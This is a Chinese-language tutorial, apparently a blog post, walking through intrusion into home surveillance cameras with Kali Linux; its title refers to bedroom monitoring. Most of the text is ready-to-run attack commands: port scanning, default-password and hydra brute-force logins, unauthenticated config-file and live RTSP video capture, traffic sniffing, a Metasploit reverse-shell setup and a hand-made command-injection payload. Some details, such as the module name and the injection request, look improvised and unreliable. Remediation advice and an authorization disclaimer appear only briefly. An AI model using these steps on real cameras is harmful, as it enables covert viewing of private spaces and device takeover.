Kali Linux 中对某(靶机)监控设备进行漏洞验证的完整流程(卧室监控学习)

在已获得合法授权(需留存书面授权文件,明确测试范围和目的)的前提下,以下是在 Kali Linux 中对监控设备进行漏洞验证的完整流程,核心目标是通过技术手段确认已知漏洞的存在性,为后续修复提供依据(仅用于安全学习和防御测试)。

前期准备

  1. 环境确认
    • 目标设备:监控摄像头(已知型号如 JA-C10E、JA-Q1H 等,需提前记录设备局域网 IP,假设为 192.168.1.100)。
    • 网络条件:Kali Linux 与目标设备在同一局域网(或已获得远程访问权限),确保网络连通性(可通过 ping 192.168.1.100 验证)。
    • 工具清单:nmap(端口扫描)、hydra(暴力破解)、curl(HTTP 请求)、vlc/ffmpeg(RTSP 流测试)、tcpdump+wireshark(流量分析)、metasploit(漏洞利用框架)、浏览器(用于 Web 界面测试)。

流程一:信息收集与端口探测

首先通过端口扫描确认设备开放的服务和端口,为漏洞验证提供方向。

  1. 全端口扫描:在 Kali 终端执行以下命令,探测目标设备开放的端口及对应服务:

    bash

    复制代码
    nmap -sV -p 1-65535 192.168.1.100  # -sV:探测服务版本;-p 1-65535:扫描所有端口

    预期结果(设备常见开放端口):

    • HTTP 端口(80、8080 等,用于 Web 管理界面)。
    • RTSP 端口(554,用于视频流传输)。
    • 可能开放的 Telnet(23)或 SSH(22,部分型号支持远程管理)。
  2. 重点服务识别:记录扫描结果中与监控设备相关的服务,例如:

    • 80/tcp open http GoAhead-WebServer(部分设备使用 GoAhead Web 服务器)。
    • 554/tcp open rtsp RTSP server(RTSP 视频流服务)。

流程二:弱口令漏洞验证

部分型号存在默认凭证(admin/admin)或弱口令风险,需验证是否可通过默认 / 弱密码登录设备。

1. 默认凭证直接测试
  • Web 管理界面 :打开浏览器,访问 http://192.168.1.100(或对应 HTTP 端口),在登录页面输入默认用户名 admin 和密码 admin,若成功登录,说明弱口令漏洞存在。

  • RTSP 服务 :使用 ffmpeg 尝试用默认凭证访问视频流:

    bash

    复制代码
    ffmpeg -i rtsp://admin:admin@192.168.1.100:554/live/ch00_1 -vcodec copy test_stream.mp4

    若命令执行后生成视频文件(无报错),说明 RTSP 服务接受默认凭证。

2. 暴力破解测试(针对非默认弱口令)

若默认凭证失效,使用 hydra 对 Web 登录界面进行弱口令爆破(需先通过浏览器抓包确认登录请求参数):

  1. 抓包分析登录请求:打开浏览器开发者工具(F12)→"网络" 选项卡,在监控 Web 登录页面输入任意账号密码并提交,找到登录请求(通常为 POST 方法),记录:

    • 请求 URL(如 /login.cgi)。
    • 表单参数(如 username=xxx&password=xxx)。
    • 登录失败的响应特征(如页面返回 "密码错误" 或特定状态码)。
  2. 执行爆破命令

    bash

    复制代码
    hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form \
    "/login.cgi:username=^USER^&password=^PASS^:密码错误"
    • 参数说明:-l admin 为目标用户名,-P 指定弱口令字典(Kali 自带 rockyou.txt),http-post-form 表示 POST 表单爆破,"/login.cgi:参数:失败特征" 为登录请求格式。
    • 若爆破成功,终端会显示有效的账号密码(如 [80][http-post-form] host: 192.168.1.100 login: admin password: 123456)。

流程三:未授权访问漏洞验证

部分设备存在无需认证即可访问配置文件或 RTSP 流的漏洞,需逐一验证。

1. 未授权访问敏感配置文件

使用 curl 直接请求设备可能存在的配置文件路径(基于公开漏洞信息):

bash

复制代码
# 尝试访问系统配置文件
curl http://192.168.1.100/system.ini
curl http://192.168.1.100/config.dat
curl http://192.168.1.100/user.ini  # 用户配置文件(可能包含账号信息)
  • 若返回包含设备型号、网络配置、用户列表等内容的文本(如 [User] admin=admin),说明存在未授权文件访问漏洞。
2. 未授权访问 RTSP 视频流

无需账号密码直接尝试获取实时视频流:

  1. 使用 vlc 播放

    bash

    复制代码
    vlc rtsp://192.168.1.100:554/live/ch00_1  # 主码流路径(常见格式)
    vlc rtsp://192.168.1.100:554/onvif1       # ONVIF协议流路径

    若 vlc 能直接播放实时画面(无需输入账号密码),说明 RTSP 未授权访问漏洞存在。

  2. 使用 ffmpeg 录制

    bash

    复制代码
    ffmpeg -i rtsp://192.168.1.100:554/live/ch00_1 -t 10 unauthorized_test.mp4

    若生成 10 秒的视频文件,进一步验证漏洞可利用性。

流程四:RTSP 协议漏洞验证

RTSP 协议漏洞主要表现为凭证滥用和流量敏感信息泄露,需结合工具验证。

1. 凭证滥用测试(已知账号密码时)

若已通过弱口令获取账号密码,验证是否可通过 RTSP 协议直接控制或获取视频流:

bash

复制代码
# 用已知凭证录制高清/标清码流
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_1 -vcodec copy hd_stream.mp4  # 高清
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_2 -vcodec copy sd_stream.mp4  # 标清

若能成功录制,说明 RTSP 协议可被凭证滥用获取视频。

2. RTSP 流量嗅探与敏感信息分析

在授权范围内抓取 RTSP 通信流量,检查是否泄露敏感信息:

  1. 抓取流量

    bash

    复制代码
    tcpdump -i eth0 port 554 -w rtsp_traffic.pcap  # eth0为Kali的网卡,抓取554端口(RTSP)流量
  2. 触发 RTSP 通信 :同时用 vlc 播放 RTSP 流(无论是否授权,只要有通信即可),持续 1-2 分钟后按 Ctrl+C 停止抓包。

  3. 分析流量 :用 wireshark 打开抓包文件,筛选 rtsp 协议,查看数据包中是否包含明文账号密码、设备 UUID、网络配置等敏感信息:

    bash

    复制代码
    wireshark rtsp_traffic.pcap

流程五:命令执行漏洞(CVE-2018-20051)验证(针对 JA-Q1H 型号)

该漏洞仅影响 JA-Q1H 型号固件版本≤21.0.0.91,需先确认设备型号和固件版本,再进行验证。

1. 确认设备型号与固件版本
  • 方法 1:通过未授权访问的配置文件(如 system.ini)查找,例如:

    bash

    复制代码
    curl http://192.168.1.100/system.ini | grep -E "Model|Firmware"

    若返回 Model=JA-Q1HFirmwareVersion=21.0.0.91 或更低,说明可能受影响。

  • 方法 2:通过 Web 管理界面的 "系统信息" 页面查看(需登录,可使用弱口令登录后查找)。

2. 使用 Metasploit 验证
  1. 启动 Metasploit 框架

    bash

    复制代码
    msfconsole
  2. 搜索漏洞模块

    bash

    复制代码
    search CVE-2018-20051

    若存在对应模块(如 exploit/linux/http/joan_q1h_rce),加载模块并配置参数:

    bash

    复制代码
    use exploit/linux/http/joan_q1h_rce
    set RHOSTS 192.168.1.100  # 目标IP
    set RPORT 80              # Web端口(根据nmap扫描结果修改)
    set LHOST <Kali的IP>      # 本地监听IP(用于反弹shell,可选)
  3. 执行漏洞测试

    bash

    复制代码
    run  # 若漏洞存在,会返回命令执行结果(如系统版本、用户ID等)
3. 手动验证(无模块时)

构造包含命令注入的 ONVIF 协议 SOAP 请求(需符合 ONVIF 协议格式),通过 curl 发送:

bash

复制代码
curl -X POST http://192.168.1.100/onvif/device_service \
-H "Content-Type: application/soap+xml; charset=utf-8" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl">
      <Manufacturer>;id;</Manufacturer>  <!-- 注入命令"id" -->
    </GetDeviceInformation>
  </s:Body>
</s:Envelope>'

若返回包含 uid=0(root) 的响应(说明命令 id 被执行),则漏洞验证成功。

流程六:测试后处理与修复建议

  1. 清理测试痕迹 :删除测试过程中生成的视频文件(test.mp4 等)、抓包数据(rtsp_traffic.pcap)及爆破日志,避免留存敏感信息。

  2. 漏洞修复建议

    • 弱口令:立即将默认密码修改为强密码(含大小写字母、数字、特殊字符,长度≥12 位)。
    • 未授权访问:登录 Web 管理界面,在 "用户管理" 中启用严格认证,关闭匿名访问权限;在 "网络设置" 中限制 RTSP 流仅允许授权 IP 访问。
    • RTSP 协议:禁用明文传输,若设备支持,开启 RTSP 加密(如 SSL/TLS);定期检查流量日志,阻断异常访问。
    • 命令执行漏洞(CVE-2018-20051):升级固件至最新版本(JA-Q1H 需≥21.0.0.92),关闭 Telnet 等非必要服务,在路由器中禁用设备的公网访问。

核心原则

所有操作必须严格限制在授权范围内,测试目的是发现漏洞并协助修复,而非利用漏洞进行攻击。完成后需向设备所有者提交详细的漏洞报告,包括验证过程、风险等级及修复方案,确保设备安全性提升。

相关推荐
Kina_C几秒前
LVS-NAT 负载均衡实验从环境搭建到规则持久化
linux·运维·服务器·负载均衡·lvs
小肝一下13 分钟前
7. 库制作与原理
linux·c语言·操作系统·bash·shell·动静态库
Albart57518 分钟前
2026年Python入门路线图:从零到实战的30天逐日详解(三)
学习·flask·#python30 天入门·python 实战教程·pytest 单元测试·python 虚拟环境·logging 日志
Android洋芋24 分钟前
PrintFriendly网页文章转PDF插件工具及技术分析
运维·服务器·pdf·网页转pdf
Elastic 中国社区官方博客28 分钟前
使用重新设计的 AutoOps 更快地进行 Elasticsearch 问题排查
大数据·运维·前端·人工智能·elasticsearch·搜索引擎·全文检索
RoboWizard41 分钟前
金士顿高速闪存盘 单双接口适配多元存储需求
大数据·运维·人工智能·智能手机·云计算
hkj88081 小时前
Ubuntu 20.04 安装 OpenJDK 17
linux·运维·ubuntu
huainingning1 小时前
防火墙重启后ssl登录提示证书过期临时解决方法
linux·服务器·ssl
sulikey1 小时前
服务器安装Docker教程。如何在云服务器安装Docker容器?
运维·服务器·ubuntu·docker·安装教程·云服务器
许彰午1 小时前
17-22-运维与高级主题
运维·网络